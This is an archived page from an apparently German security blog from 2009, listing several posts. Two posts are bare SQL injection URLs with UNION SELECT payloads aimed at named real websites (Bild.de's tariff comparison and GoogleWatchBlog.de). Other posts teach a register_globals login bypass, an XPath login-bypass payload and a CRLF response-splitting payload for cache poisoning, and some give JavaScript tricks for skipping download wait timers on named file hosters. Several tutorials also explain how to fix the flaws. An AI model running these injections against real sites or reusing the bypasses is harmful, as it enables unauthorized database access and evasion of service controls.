[SQLi] Bild.de – Tarifvergleich

13. November 2009
http://tarifvergleich.bild.de/dsl/DSL-Anbieter.asp?ID=-1union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32--+

Player SQL Injections


register_globals – Ein Sicherheitsrisiko auf dem Weg ins Exil

16. Oktober 2009

PHP ist eine Skriptsprache, die ständig in Bewegung ist,
und viele Neuerungen erfahren hat. Auch kann es passieren,
dass einige Funktionen und Einstellungen als unsicher angesehen
werden, und weniger häufig benutzt werden, oder sogar in späteren
PHP Versionen komplett von der Bildfläche verschwinden.
Eine Einstellung die auf dieses Schema passt, ist “register_globals”,
die in der PHP.ini aktiviert oder deaktiviert werden kann.

Diese Einstellung importiert, sofern sie aktiviert ist, alle Variablen
in einer bestimmbaren Reihenfolge(meist GET, POST, COOKIE, ENV, SERVER)
in den globalen Namensraum, sodass auf sie zugegriffen werden kann, wie
auf globale Variablen.
Im Grunde ist die Funktion ansich nicht unsicher, erleichtert aber ein
Auftreten von Sicherheitslücken bei unsicherer Programmierung.

Ein Beispiel für einen simplen utopischen Login Code verdeutlicht die Gefahr:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
echo "<form action = \"\" method=\"POST\"><input type=\"text\" name=\"user\"><br><input type=\"pass\" name=\"pass\"><br><input type = \"submit\" value = \"Senden\"></form>\n";
$dbname = "admin";
$dbpass = "098f6bcd4621d373cade4e832627b4f6"; // md5("test")
$user = $_POST['user'];
$pass = $_POST['pass'];
 
if ($user && $pass) {
	if ((preg_match("/^([a-zA-Z0-9]+)$/",$user)) && (md5($pass) == $dbpass) && $user == $dbname) {
		$logged_in = 1;
	}
	if ($logged_in == 1) {
	echo "logged in";
	/*
		...
		Some more action,which can be done while logged in
		...
	*/
	} else {
		echo "wrong login";
	}
}
?>

Hier ist eine simple kleine Login Routine abgebildet.
Zur Vereinfachung gibt es keine Queries und komplexere Abfragen,
sondern es werden lediglich Strings in Variablen verglichen,
und bei Erfolg der Wert “logged_in” auf 1 gesetzt.
Diese Art von Login ist im übrigen nicht zu empfehlen, und
macht dazu den Code noch äußerst unsauber.

Die Fahrlässigkeit besteht in diesem Falle darin, dass die Variable
“logged_in” nicht im Vorraus initialisiert wurde, sondern sofort im
Kontext verwendet wird, um die Authorisierung zu prüfen.
Bei aktiviertem “register_globals” könnte man nun wie folgt vorgehen:

Da alle Variablen in den globalen Namensraum importiert werden,
kann man via GET Parameter die Variable auf jeden gewünschten Wert setzen.
Ein Aufruf von “login.php?logged_in=1″ führt zu einem Import von “logged_in=1″.
Nun können beliebige Login Daten eingegeben werden, um in die Bedingung
“($user & $pass)” zu springen, und wir haben einen Login vorgetäuscht.

Beheben lässt sich das Problem mit einer initialen Zuweisung von “logged_in”
vor der eigentlichen Verwendung.

1
$logged_in = 0;

So kann der Wert durch den GET Parameter(wahlweise auch andere) nicht verändert werden.

Generell ist es aber von Vorteil die Einstellung “register_globals” komplett deaktiviert
zu lassen, und den Code entsprechend anzupassen, sodass diese Einstellung auch nicht
notwendig wird.

Lidloses_Auge PHP


XPath Injection – Es geht auch ohne Datenbank

2. Oktober 2009

Verschiedene Arten sich Zugang zu Backends zu erschleichen wurden hier bereits vorgestellt.
Zumeist werden dafür Datenbanksysteme in Verbindung mit Skriptsprachen wie PHP verwendet,
um einen User zu Authentifizieren.
Eine Möglichkeit des Login Bypasses, die man bereits aus der SQL Injection kennt, finden wir auch in anderen Bereichen wieder:

Ein XML Dokument kann auch als Speicher von Nutzerdaten dienen, und dem Login dienen.
Dieses Dokument könnte simpel gestrickt wie folgt aussehen:

1
2
3
4
5
6
7
8
9
10
<users>
	<user>
		<username>test</username>
		<password>abcd</password>
	</user>
	<user>
		<username>root</username>
		<password>YouKnowSomethingAboutXPath</password>
	</user>
</users>

Wir sehen die typische Baumstruktur der Auszeichnungssprache XML und die Nutzerdaten.
Ein unsicheres simples Login Skript kann in PHP so realisiert werden:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html>
	<form action = "" method="POST">
		<input type="text" name="user"><br>
		<input type="passwort" name="pass"><br>
		<input type="reset" value="Reset">
		<input type="submit" value="Senden">
	</form>
<html>
<?php
	$user = $_POST['user'];
	$pw = $_POST['pass'];
	$xmldoc = new DOMDocument();
	$xmldoc->load('test.xml');
	$xpathvar = new Domxpath($xmldoc);
	$queryResult = $xpathvar->query("//users/user[username/text()='$user' and password/text()='$pw']");
 
	foreach($queryResult as $result){
		echo "Login erfolgreich!<br>Username und Password: ".$result->textContent."<br>";
	}
?>

Zum Ansteuern der einzelnen Elemente wird hier das Dokument Objekt Modell (DOM) verwendet.
Auch hier kann man Queries starten, die den XML Baum durchsuchen können.

Die Zeile, welche sich hier ausnutzen lässt ist die Query Zeile:
$queryResult = $xpathvar->query("//users/user[username/text()='$user' and password/text()='$pw']");

Ist magic_quotes_gpc deaktiviert lässt sich der aus dem SQL Injection Bypass bekannte Payload einfügen:
root' or '1'='1

Dies führt zu folgendem Resultat:
$queryResult = $xpathvar->query("//users/user[username/text()='root' or '1'='1' and password/text()='']");

Der Operator ‘or’ verwandelt den Ausdruck in “TRUE” und lässt den User passieren.

Wie sich hier also erkennen lässt, gibt es zahlreiche Methoden, einen Login zu umgehen, jenseits von SQL und Co.
Generell lassen sich XML Dokumente auch mit SAX(Simple API for XML) oder StAX (Streaming API for XML) ansteuern.

Lidloses_Auge Sonstiges


[Greasemonkey] OneClickHoster Wait Bypass Script

28. August 2009

Vor einigen Tagen habe ich möglichkeiten vorgestellt, wie man bei bestimmten Hostern das Zeitlimit umgehen kann. (http://novusec.com/oneclickhoster-wait-bypass/)
Dazu habe ich jetzt ein Greasmonkey Script geschrieben, dass alles automatisch macht.
Den Downloadlink zu Greasemonkey gibt es hier:

https://addons.mozilla.org/de/firefox/addon/748

Um das Script zu Installieren, bitte auf das Greasemonkey Symbol klicken.

Player Greasemonkey


Adblock detection without JavaScript

25. August 2009

Hab mich heute wieder mal mit AdBlock beschäftigt und probiert eine detection ohne Javascript hinzubekommen.
Das Prinzip ist wieder sehr simpel.

Hier erstmal der Test

Hier der Code:

1
2
<div id="ad" style="position:absolute;"><img src="http://imgserv.sponsorads.de/endwelt/banner.php"></div>
<div><img src="http://i29.tinypic.com/70geix.jpg"></div>

Erklärung:
Es liegen 2 Div’s übereinander. Wenn Adblock an ist, wird der Div mit der id “ad” blockiert und die Div box darunter wird angezeigt. Dabei zu beachten ist, dass beide DIV Boxen mindestens gleichgroß sein sollten.

Wenn dazu noch Fragen sind, einfach ein Kommentar hinterlassen.

Player Sonstiges


HTTP Response Splitting – CRLF oder Header Injection

20. August 2009

Eine etwas in Vergessenheit geratene Art von Web- basierten Sicherheitslücken ist
der sogenannte “HTTP Response Splitting” Angriff. Er wird auch oftmals als
“HTTP Header Injection” oder “CRLF Injection” bezeichnet.

Einleiten möchte ich diesen Artikel mit einem kleinen Beispiel einer simplen Weiterleitung:

Angenommen wir haben folgendes kleines Script:

1
2
3
<?php
header("Location: ".$_GET['page']);
?>

Es tut nichts anderes, als die Seite weiterzuleiten auf den GET Parameter.
Ein Aufruf könnte z.B. so aussehen:

127.0.0.1/forward.php?page=http://www.google.de

Betrachtet man die jeweiligen Request und Answer Header wird dies in etwa (hier vereinfacht) so aussehen:

GET /forward.php?page=http://www.google.de HTTP/1.1
Host: 127.0.0.1
Keep-Alive: 300
Connection: keep-alive

HTTP/1.1 302 Found
Date: Wed, 19 Aug 2009 12:50:14 GMT
Server: Apache
Location: http://www.google.de
Content-Type: text/html

GET / HTTP/1.1
Host: www.google.de
Keep-Alive: 300
Connection: keep-alive

HTTP/1.1 200 OK
Date: Wed, 19 Aug 2009 12:51:41 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=ISO-8859-1
Server: gws
Transfer-Encoding: chunked

Wie zu erkennen, wird zunächst ein Request an der Weiterleitungsskript gestartet, und die
gewünschte URL übergeben. Der Server Antwortet nicht etwa mit dem Statuscode 200 (OK)
sondern mit 302 (Found)
Dies impliziert eine temporäre Weiterleitung.

Am Location-Feld des ersten Antwort Headers erkennt man die gewünschte Adresse, auf die weitergeleitet
werden soll.
Dementsprechend wird ein zweites Request gestartet, in diesem Beispiel an Google, bei dem der Server
ganz normal mit einem 200 OK antwortet, und den Inhalt anzeigt.

Wir wollen unser Augenmerk nicht auf die Weiterleitung ansich legen, sondern auf die Tatsache, dass
wir Einfluss darauf haben, was im Location Feld vorzufinden ist.

Laut HTTP Spezifikation muss jedes Feld des Headers mit einem Carriage Return (CR) und einem
Line Feed (LF) enden. Dies ist ein Zeilenumbruch, der auch als \r\n oder %0d%0a geschrieben werden
kann.
Macht man sich diese Tatsache zunutze, kann man aus dem Feld, sofern man Einfluss darauf hat, ausbrechen.

Die Technik beim HTTP Response Splitting besteht im kompromittieren eines Proxy- oder Cacheservers,
der dem Webserver vorgeschaltet ist.
Hierzu generiert man 2 verschiedene Antworten, die vom Cache unterschiedlich interpretiert werden.

Ein kleines Beispiel:

127.0.0.1/forward.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2027%0d%0a%0d%0aCRLF Injection

Da dies in dieser Form sehr kryptisch aussieht, möchte ich es kurz anders darstellen:

Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 27

CRLF Injection

Was bedeutet dies nun für unsere Request/Response Ausgabe?

GET /forward.php?page=download%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2027%0d%0a%0d%0aCRLF Injection

HTTP/1.1
Host: 127.0.0.1
Keep-Alive: 300
Connection: keep-alive

HTTP/1.1 302 Found
Date: Wed, 19 Aug 2009 12:50:14 GMT
Server: Apache
Location:
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 27

CRLF Injection


Content-Type: text/html

Wie wir erkennen, existieren nun 2 Responses zu einem einzigen Request.
Die erste Antwort ist die vom Webserver generierte, mit dem Statuscode 302.
Die zweite Antwort haben wir vollständig selbst generiert, und bei Erfolg
sollte bereits jetzt eine weiße Seite mit unserem Content erscheinen.

Bis jetzt ist diese Methode Clientseitig, könnte also als XSS genutzt werden,
doch ist es möglich, das ganze noch weiterzuführen.

Wenn wir ein zweites Request über die gleiche Verbindung absetzen, z.b. auf:

127.0.0.1/index.php

So ordnet der Cache Server diesem zweiten Request die von uns generierte zweite Antwort zu,
sodass der Inhalt dessen in den Cache einfließt.

Dieses Verhalten wird auch als Cross-User-Defacement oder Web Cache Poisoning bezeichnet, und weiterhin
ist es möglich Second-Order-XSS einzuschleusen, also persistente serverseitige Attacken.

Es gibt zahlreiche Methoden, den Cache dazu zu bringen, die aufgerufene Seite zu cachen, auf die
ich hier nicht weiter eingehe.

Es ist wichtig zu erwähnen, dass ab den PHP Versionen 4.4.2 und 5.1.2 die header() Funktion
gefixed wurde, und es nicht mehr möglich ist, einen Header mit mehreren Zeilen zu senden.

Sofern Erfahrungen mit Cache Poisoning vorhanden sind,
wäre ich über Gesprächsthemen diesbezüglich nicht abgeneigt.

Einen schönen Sommertag wünscht Lidloses_Auge

Lidloses_Auge PHP


OneClickHoster Wait Bypass

10. August 2009

Wenn der Countdown angezeigt wird, einfach den passenden Code in die Adressleiste eingeben.
Dadurch wird entweder der Download sofort gestartet oder der Countdown wird auf 0 gestellt.

www.uploaded.to

javascript: document.download_form.submit();

www.egoshare.com

javascript: var timeout='0';

www.simpleupload.net

javascript:var delay = 0;

www.zippyshare.com

javascript: var t = 0;

www.badongo.com

javascript:var check_n = 1;

www.freakshare.net

javascript:var time = 0;

www.depositfiles.com

javascript:show_url(0);

www.megaupload.com

javascript:count=1; countdown();

Player Javascript


NovuSec wieder online

9. August 2009

. [ Show ] in English

Es ist einer der Tage, an dem man auf seine Feeds schaut und feststellen muss, es ist Sonntag
und niemand hat etwas zu berichten.
Hier ist es anders:

NovuSec ist wieder online, und befindet sich auf einem anderen Server.
Um mehr Transparenz zu schaffen, ist zudem ein Newsletter System geplant,
welches ggf. informieren soll, auch wenn die Seite durch Umbauarbeiten nicht
erreichbar ist.
Es werden selbstverständlich auch einige neue Artikel folgen, reinschauen lohnt sich.

Einen angenehmen Aufenthalt.

Lidloses_Auge Sonstiges


Adblock detection

24. Juli 2009

Ein Leser unseres Blogges hat mich gefragt ob es möglich ist, mit hilfe von Javascript zu erkennen ob Adblock eine Grafik blockiert. Nach kurzer Überlegung und etwas testen, bin ich nun darauf gestoßen. Es ist sehr simpel, doch es funktioniert wunderbar.

Was ist Adblock:
Auch wenn viele Adblock kennen, erkläre ich doch ganz kurz was Adblock ist.
Adblock ist ein Addon für den Mozilla Firefox, dass unerwünschte werbung beim Surfen Blockiert.

Vorraussetzung:
Der Besucher muss Javascript aktiviert haben.

Funktionsweise:
In eine Div-Box kommt ein Bild rein, dass von Adblock blockiert wird.
Als Beispiel, habe ich eine Grafik von Sponsorads verwendet.
Wenn das Bild nun blockiert wird, ist die höhe der Div-Box logischerweise gleich null.
Genau das wird von dem Javascript Code überprüft.
Wenn die höhe gleich Null ist, wird der Besucher automatisch auf google weitergeleitet.
Das ganze funktioniert auch mit Google AdWords.
Doch mit Layern habe ich es noch nicht getestet, bin aber auch stark der meinung,
dass es dort nicht funktioniert.

Test:

Code:

1
2
3
4
5
6
7
8
9
10
11
12
<script type="text/javascript">
window.onload = function chkab(){
	var chk = document.getElementById('checkbox').offsetHeight;
	if(chk == 0){
		document.location.href="http://www.google.de"; 
	}
}
</script>
 
<div id="checkbox">
	<img src="http://www.sponsorads.de/ref3.gif">
</div>

Bei Fragen könnt Ihr gerne ein Kommentar hinterlassen.

Player Javascript


[SQLi] GoogleWatchBlog.de

24. Juli 2009
http://www.googlewatchblog.de/viewprofile.php?id=-5+union+select+1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--+

fixed

Player SQL Injections


Pages: Prev 1 2 3 4 5 6 7 Next